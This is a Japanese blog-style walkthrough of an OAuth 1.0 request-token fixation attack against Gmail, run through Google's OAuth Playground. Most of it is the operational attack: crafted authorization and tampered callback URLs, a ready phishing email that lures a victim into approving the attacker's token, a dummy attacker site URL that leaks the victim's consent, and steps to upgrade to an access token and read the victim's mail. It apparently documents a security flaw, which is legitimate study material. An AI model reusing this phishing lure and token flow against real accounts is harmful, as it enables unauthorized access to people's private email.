OAuth Security Hole Test using Google PlayGround

今日は、Google PlayGroundを使ってOAuthのSecurity Holeをテストしてみます。

■ 目的

第3者のgmailの内容をいただく

■ 準備

OAuth Playgroundの動作確認

  • googlecodesamples.com(Consumer)からwww.google.com(SP)へのAuthrization URIを確認

□ Authrization URIの確認

0. http://www.google.comにアクセスし、Googleをログアウト
1. http://googlecodesamples.com/oauth_playground/index.phpにアクセス
2. "1 Choose your Scope(s)"でGMailを選択
3. "Get the Token"のところにある"3 Get a Request Token:" のボタンを押す
→ Request Token取得が完了します。
4. "Get the Token"のところにある"4 Authorize the Request Token:" のボタンを押す
→www.google.comにリダイレクトされます。
このときのURIは以下のようになります。

https://www.google.com/accounts/OAuthAuthorizeToken
?oauth_token=(Request Tokenの値) # 認可を要求しているRequest Token
&oauth_callback=http%3A%2F%2Fgooglecodesamples.com%2Foauth_playground%2Findex.php%3Fkey%3Dgooglecodesamples.com%26token_secret%3D(URLエンコードされたRequest Token Secret)%26consumer_secret%3D%26token%3D(URLエンコードされたRequest Token)%26endpoint%3Dhttps%253A%252F%252Fwww.google.com%252Faccounts%252FOAuthAuthorizeToken
&hd=default

このようなURLをターゲットに踏ませることで、攻撃者のためにConsumerが取得したRequest Tokenに同意させることができそうです。

5. www.google.comにログインして同意。
→以下のURIにリダイレクトされることを確認します。

http://googlecodesamples.com/oauth_playground/index.php?key=googlecodesamples.com&token_secret=(Request Token Secret)&consumer_secret=&token=(Request Token)&endpoint=https%3A%2F%2Fwww.google.com%2Faccounts%2FOAuthAuthorizeToken&oauth_token=(Request Token)

認可完了後、攻撃者はこのURLを開くことで自分がRequest Tokenに同意したかのように振る舞うことができます。

これで準備完了です。

■ 知り合いのGMailの中身をのぞいてみるテスト

1. (攻撃者)"Authrization URIの確認"の手順を3まで行い、Request Token(と今回はRequest Token Secretも)が画面上に表示されるので、メモ帳にコピペしておく

oauth_token:abcde
oauth_token_secret:fghij

2. (攻撃者)"Authrization URIの確認"の手順4を行い、認可画面まで進む

3. (攻撃者)ターゲットに次のようなあやしいメールを送る

OAuthの勉強をするのにわかりやすいOAuth PlayGroundというツールがあります。
http://googlecodesamples.com/oauth_playground/



わかりやすい例として、Gmailを取得するまでのテストを紹介するので、試してみてください。
https://www.google.com/accounts/OAuthAuthorizeToken
?oauth_token=abcde
&oauth_callback=http%3A%2F%2Fgooglecodesamples.com%2F(※ダミー認可URL)



http://googlecodesamples.com/のトップページに遷移してしまうなど、うまくいかなかった場合は以下のURLで報告をお願いします。
http://badattacker.com//oauthplayground/help?oauth_token=abcde (※ダミーサイトURL)

4. (ターゲット)メールに含まれたダミー認可URLをクリックする。
→ログイン後、googlecodesamples.comへのアクセス許可を求められる。

5. (ターゲット)googlecodesamples.comがOAuth PlayGroundのURLだということ、GMail取得までのテストということで同意する。
→callback URLを改ざん(※)しているため、OAuth PlayGroundではなく、googlecodesamples.comのトップにリダイレクトされる

http://googlecodesamples.com/?oauth_token=abcde

※callback URLを改ざんしたのはOAuth PlayGroundに犠牲者のセッションのアクセスを残したくなかったからです。

6. (ターゲット)メールにあった"うまくいかなかった場合のURL"をクリックする
→ダミーサイトURLを通じて、攻撃者はターゲットがabcdeというRequest Tokenに対して同意したことを知る

7.(攻撃者)正しいcallback URLをブラウザに入力

http://googlecodesamples.com/oauth_playground/index.php
?key=googlecodesamples.com
&token_secret=fghij
&consumer_secret=
&token=abcde
&endpoint=https%3A%2F%2Fwww.google.com%2Faccounts%2FOAuthAuthorizeToken
&oauth_token=abcde

→OAuth PlayGroundはRequest Tokenが認可済みと判断

8. (攻撃者)OAuth PlayGroundの"Get the Token"にある"Upgrade to an Access Token:"のボタンをクリックする
→犠牲者のAccess Tokenを取得できる
→犠牲者のGmailの内容にアクセスできる

■ 結果

こんな感じでできるっぽいです。

攻撃者は、以下の点さえ頑張ればRequest Tokenに第3者の認可をさせてリソースにアクセスできます。

  • 犠牲者にリンクをクリックさせる
  • 犠牲者が同意したことをなんとかして知る

今回の例ではメール+ダミーサイト構築でできると思いかいてみました。
実際にやってみるときは、PCに2つ以上のブラウザがあれば、検証できると思います。
本件に関して自分のGMailのデータが盗まれたという報告があっても責任はとれませんので、悪い人も悪用しないでください。